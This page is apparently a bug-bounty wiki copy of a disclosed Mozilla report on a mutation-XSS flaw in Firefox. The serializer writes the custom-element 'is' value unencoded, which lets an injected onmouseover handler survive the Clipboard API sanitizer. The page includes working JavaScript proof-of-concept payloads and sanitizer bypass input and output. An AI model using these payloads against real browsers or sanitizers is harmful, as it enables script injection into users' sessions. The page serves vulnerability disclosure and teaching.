Skip to content
XSS Disclosed report Advanced CVE-2026-12309

mXSS: MaybeSerializeIsValue outputs is="" unencoded

Firefox's HTML serializer writes the custom-element 'is' value without entity encoding, so a double quote inside that value breaks out of the attribute and injects an event handler. This survives the sanitiser used by the Clipboard API, letting attacker HTML become live script when re-parsed.

Yaqoub Aldurayhim Follow

Originally disclosed on Mozilla

  • Fixed in 23 days
  • Paid in 60 days
  • Disclosed after 23 days
Text
Created attachment 9584860
PoC: mXSS via unencoded is="" in MaybeSerializeIsValue

Steps to reproduce:

`MaybeSerializeIsValue()` in `nsXMLContentSerializer.cpp:1821` and `nsContentUtils.cpp:10813` outputs the `is=""` attribute value from `CustomElementData` WITHOUT HTML entity encoding. Regular attributes use `AppendEncodedAttributeValue()` (line 10851) or `AppendAndTranslateEntities()`.

When `removeAttribute('is')` is called, the DOM attribute is removed but `CustomElementData.mType` persists. The serializer detects `!aElement->HasAttr(nsGkAtoms::is)` and outputs the raw atom value. Double-quote characters in the atom break out of the attribute, injecting arbitrary event handlers.

This bypasses `nsParserUtils::Sanitize()` (parser/html/nsParserUtils.cpp:48-60) which performs a parse→sanitize→serialize round-trip. `nsTreeSanitizer` strips the `is` DOM attribute but has zero awareness of `CustomElementData`. The Clipboard API (`dom/events/Clipboard.cpp:549`) calls `nsParserUtils::Sanitize()` for `navigator.clipboard.write()` HTML content.

Steps to reproduce:

1. Open Firefox Nightly 152.0a1 (tested on latest Nightly build 2026-05-10, also confirmed on Firefox 150.0.1 release)
2. Open the browser console (F12 → Console)
3. Run:

'''js
// Vector 1: removeAttribute triggers mXSS
const div = document.createElement('div');
div.innerHTML = `<p is='x" onmouseover=alert(1) y="'>test</p>`;
console.log("Before:", div.innerHTML);
// <p is="x&quot; onmouseover=alert(1) y=&quot;">test</p>  (encoded, safe)

div.firstChild.removeAttribute('is');
console.log("After:", div.innerHTML);
// <p is="x" onmouseover=alert(1) y="">test</p>  (UNENCODED — mXSS!)

const target = document.createElement('div');
target.innerHTML = div.innerHTML;
console.log("Has onmouseover:", target.firstChild.hasAttribute('onmouseover'));
// true — event handler injected
'''

'''js
// Vector 2: createElement — no removeAttribute needed
const div2 = document.createElement('div');
const p = document.createElement('p', {is: 'x" onmouseover=alert(1) y="'});
p.textContent = 'test';
div2.appendChild(p);
console.log("createElement:", div2.innerHTML);
// <p is="x" onmouseover=alert(1) y="">test</p>  (immediately poisoned)


Actual results:

After `removeAttribute('is')`, `innerHTML` outputs:
'''
<p is="x" onmouseover=alert(1) y="">test</p>
'''

The `is=""` value contains unescaped double-quote characters that break out of the attribute, injecting `onmouseover=alert(1)` as a separate attribute. When this HTML is re-parsed, the event handler becomes live.

`createElement('p', {is: '...'})` produces immediately poisoned innerHTML because it sets `CustomElementData` but never sets the `is` DOM attribute.

`nsParserUtils::Sanitize()` (Clipboard API HTML sanitization) outputs poisoned HTML because `nsTreeSanitizer` strips the `is` DOM attribute but leaves `CustomElementData` intact, and the serializer outputs the raw unencoded value.

Confirmed on:
- Firefox Nightly 152.0a1 (latest build, 2026-05-10) — all 3 PoC vectors show VULNERABLE
- Firefox 150.0.1 release — confirmed via xpcshell
- xpcshell test against `nsParserUtils::Sanitize()` directly:
  - Input: `<div is='x" onmouseover=alert(1) y="'>test</div>`
  - Sanitized output: `<div is="x" onmouseover=alert(1) y="">test</div>`
  - onmouseover survives sanitization
- Also confirmed mXSS on system-principal document (like about:config) via xpcshell


Expected results:

The `is=""` value should be HTML-encoded the same way regular attributes are encoded. `nsContentUtils.cpp:10813` should use `AppendEncodedAttributeValue()` instead of raw `aBuilder.Append(isAttr)`. `nsXMLContentSerializer.cpp:1821` should use `AppendAndTranslateEntities()` instead of raw `aStr.Append()`.

Expected output after `removeAttribute('is')`:
'''
<p is="x&quot; onmouseover=alert(1) y=&quot;">test</p>
'''

`nsTreeSanitizer` should clear `CustomElementData` when sanitizing elements.

`nsParserUtils::Sanitize()` output should NOT contain unescaped event handler attributes.

The original report as published on Mozilla's Bugzilla, by Yaqoub Aldurayhim. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The serializer emits the custom-element 'is' value from CustomElementData without entity encoding, and the sanitiser strips the DOM attribute but not that internal data.

Impact

An attacker could get an event handler past the Clipboard API's HTML sanitiser and have it execute when the sanitised HTML is re-parsed, including on system-principal documents.

What the attacker needed

Firefox browser; attacker-controlled HTML reaches sanitiser

The fix

The is value should be entity-encoded like other attributes and the sanitiser should clear CustomElementData; the text does not say a fix shipped.

How it was found

  1. Open Firefox Nightly and the browser console.
  2. Create a div and set its innerHTML to markup containing a p element with an is attribute holding a quote and an event handler.
  3. Remove the is attribute from the p element.
  4. Read innerHTML again and observe the unencoded quote and injected handler.
  5. Re-parse that output into another element and check that the event handler attribute now exists.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a browser turns a page's structure back into HTML text, it must escape special characters like double quotes so they cannot end an attribute early. Here the value stored for a custom element's 'is' attribute was written out raw, so a quote inside it closed the attribute and let an extra event handler slip in. The sanitiser that is meant to strip dangerous markup did not know about this hidden value, so the injected handler survived.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Yaqoub Aldurayhim

View all

16 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.